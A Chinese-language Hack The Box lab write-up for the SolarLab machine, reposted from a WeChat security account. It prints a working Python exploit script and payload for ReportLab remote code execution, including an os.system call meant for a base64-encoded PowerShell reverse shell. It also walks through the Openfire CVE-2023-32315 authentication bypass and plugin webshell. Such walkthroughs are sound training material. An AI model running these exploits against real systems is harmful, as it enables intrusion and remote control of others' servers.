htb打靶记录-SolarLab

admin 2024年7月14日19:23:17评论22 views字数 5020阅读16分44秒阅读模式
今天要挑战的是htb的SolarLab靶场
htb打靶记录-SolarLab

首先使用nmap进行扫描

htb打靶记录-SolarLab
htb打靶记录-SolarLab

访问80端口得到3个用户

htb打靶记录-SolarLab

然后继续访问发现有框,进行了xss、注入操作无果

htb打靶记录-SolarLab

然后有一个登录页面,弱口令尝试无果

htb打靶记录-SolarLab

然后通过smb扫描发现了一个共享文档

htb打靶记录-SolarLab
htb打靶记录-SolarLab
htb打靶记录-SolarLab
htb打靶记录-SolarLab

现在找到了一个包含一些凭证的敏感文件,使用用户名AlexanderKClaudiaS引发了不同的错误,存在用户名泄露漏洞。尝试密码列的所有可能组合都无法成功。在这三个用户中,有两个存在,但Blake用户不存在。因此,尝试将与这两个用户相同的模式匹配为完整名字和姓氏的首字母BlakeB,得到了身份验证错误并确认了存在。

htb打靶记录-SolarLab

使用blake.byte,登录成功

htb打靶记录-SolarLab

继续往下有一个文件上传的接口

htb打靶记录-SolarLab

尝试上传图像并转换为 PDF 格式的文件

htb打靶记录-SolarLab

在bp的返回包里面发现到了reportlab关键字

htb打靶记录-SolarLab

发现存在rce

htb打靶记录-SolarLab

使用exp进行攻击

#!/usr/bin/python3
import argparse
import requests
from sys import exit
from base64 import b64decode
import urllib.parse

def get_args():
 parser = argparse.ArgumentParser()
 parser.add_argument("--host"required=True, type=str)
 parser.add_argument("--port""-p"required=True, type=int)
 parser.add_argument("--cmd""-c", required=True, type=str)
 parser.add_argument("--session""--cookie""-sc", required=True, help="Session cookie"type=str)
 args = parser.parse_args()
 return args



def build_post_body(cmd: str) -> bytes:
 print("[*] Building Exploit...")


 # Base64 Encoded Post Template
 base = b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNDU3ODUzNjcwMTMzNTUyOTgzMDExNzk0MzIxNzYKQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJ0aW1lX2ludGVydmFsIgoKMjAyOS0wNS0yNiB0byAyMDI5LTA1LTI3Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTQ1Nzg1MzY3MDEzMzU1Mjk4MzAxMTc5NDMyMTc2CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ibGVhdmVfcmVxdWVzdCIKCntjbWR9Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTQ1Nzg1MzY3MDEzMzU1Mjk4MzAxMTc5NDMyMTc2CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic2lnbmF0dXJlIjsgZmlsZW5hbWU9IlVudGl0bGVkLnBuZyIKQ29udGVudC1UeXBlOiBpbWFnZS9wbmcKColQTkcKGgoAAAAKSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAApSURBVChTY9i+fbuAgAADAwMHB8f8+fMlJCSAbARA5gNVQFkjGzAwAADL7QTzijujCwAAAABJRU5ErkJgggotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE0NTc4NTM2NzAxMzM1NTI5ODMwMTE3OTQzMjE3NgpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InVzZXJfaW5wdXQiCgo8cD5hc2RmPC9wPgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE0NTc4NTM2NzAxMzM1NTI5ODMwMTE3OTQzMjE3Ni0t")
 exploit_base = b64decode("PHA+PGZvbnQgY29sb3I9IlsgWyBnZXRhdHRyKHBvdywgV29yZCgnX19nbG9iYWxzX18nKSlbJ29zJ10uc3lzdGVtKCd7Y21kfScpIGZvciBXb3JkIGluIFsgb3JnVHlwZUZ1biggJ1dvcmQnLCAoc3RyLCksIHsgJ211dGF0ZWQnOiAxLCAnc3RhcnRzd2l0aCc6IGxhbWJkYSBzZWxmLCB4OiBGYWxzZSwgJ19fZXFfXyc6IGxhbWJkYSBzZWxmLCB4OiBzZWxmLm11dGF0ZSgpIGFuZCBzZWxmLm11dGF0ZWQgPCAwIGFuZCBzdHIoc2VsZikgPT0geCwgJ211dGF0ZSc6IGxhbWJkYSBzZWxmOiB7c2V0YXR0cihzZWxmLCAnbXV0YXRlZCcsIHNlbGYubXV0YXRlZCAtIDEpfSwgJ19faGFzaF9fJzogbGFtYmRhIHNlbGY6IGhhc2goc3RyKHNlbGYpKSwgfSwgKSBdIF0gZm9yIG9yZ1R5cGVGdW4gaW4gW3R5cGUodHlwZSgxKSldXSBhbmQgJ3JlZCciPgoxPC9mb250PjwvcD4=")

 exploit_base = exploit_base.replace(b"{cmd}", bytes(cmd.encode()))

 final = base.replace(b"{cmd}", exploit_base)
 print("[*] Exploit built")
 return final


def send_request(post_body: bytes, session_cookie: str, host: str, port: int):
 print("[*] Preparing request")
 cookie = {"session": session_cookie}
 headers = {}
 headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
 headers["Accept-Encoding"] = "gzip, deflate, br"
 headers["Content-Type"] = "multipart/form-data; boundary=---------------------------145785367013355298301179432176"
 headers["Content-Length"] = str(len(post_body))
 headers["Connection"] = "close"

 url = f"http://{host}:{port}/leaveRequest"
 print(f"[*] Sending request to {url}")
 print("[*] Sending a reverse shell should cause request to hang")
 r = requests.post(url=url, headers=headers, data=post_body, cookies=cookie)
 print("[*] Request sent")
 status_code = r.status_code
 if r.text.find("Login to ReportHub") > 0: 
  print(f"[!] Bad Request.  Status Code {r.history}.  Check that your session cookie is still valid."
  exit(0)
 
 print(f"[*] Probable success. Status Code {status_code}")


def main():
 args = get_args()
 body = build_post_body(args.cmd)
 send_request(body, args.session, args.host, args.port)
 
if __name__ == "__main__":
 main()

当 PDF 转换发生时,HTML 标签也会被渲染为代码。因此,由于颜色属性中的 Python 块会立即执行,因此可能存在 RCE。

<font color="[ [ getattr(pow, Word('__globals__'))['os'].system('powershell -e <Base64EncodedRevShellHere>') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))]] and 'red'">
1</font>

使用参数中指定的命令嵌入了所需的python块并发出上传请求

htb打靶记录-SolarLab

使用nc监听获得反弹shell

htb打靶记录-SolarLab

找到了user.txt

htb打靶记录-SolarLab

继续进行渗透,通过用户名枚举得到一个openfire用户,通过搜素openfire相关的服务得到cve-2023-32315这个rce

htb打靶记录-SolarLab
htb打靶记录-SolarLab
htb打靶记录-SolarLab
htb打靶记录-SolarLab

挂代理在本地访问openfire服务

htb打靶记录-SolarLab

访问http://127.0.0.1:9090,在本地主机上本地访问端口 9090

htb打靶记录-SolarLab
htb打靶记录-SolarLab

运行它后会创建一个新用户,然后我们就可以成功登录,此漏洞实际上是两个漏洞的混合体,即第一个身份验证绕过漏洞和第二个 RCE 漏洞。我们现在将尝试上传一个假的 openfire 插件,该插件将尝试让我们在系统上执行命令

htb打靶记录-SolarLab

现在按照步骤上传插件并访问webshell

htb打靶记录-SolarLab

完成这些步骤后,选择右上角应允许执行系统命令的系统命令,然后使用 Base64 编码的 Powershell 反向 shell 命令

htb打靶记录-SolarLab

使用nc监听,获得openfire用户的权限

htb打靶记录-SolarLab

查看logs日志

htb打靶记录-SolarLab
htb打靶记录-SolarLab
htb打靶记录-SolarLab
htb打靶记录-SolarLab

在openfire.log中

htb打靶记录-SolarLab

openfire.script中,无法正确获取文件,尝试直接登录,密码错误

Openfire 基本上会加密明文密码,然后将其存储到数据库中。所以,上面的不是哈希,而是加密的密码字符串,下面的是它的加密密钥

htb打靶记录-SolarLab

因此,研究如何解密,发现这是一个复杂的过程,但最终找到了解密的工具

https://github.com/c0rdis/openfire_decrypt

htb打靶记录-SolarLab
htb打靶记录-SolarLab
htb打靶记录-SolarLab

获得flag.txt

htb打靶记录-SolarLab
htb打靶记录-SolarLab

加下方wx,拉你一起进群学习

htb打靶记录-SolarLab

原文始发于微信公众号(红队蓝军):htb打靶记录-SolarLab

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月14日19:23:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   htb打靶记录-SolarLabhttps://cn-sec.com/archives/2948176.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息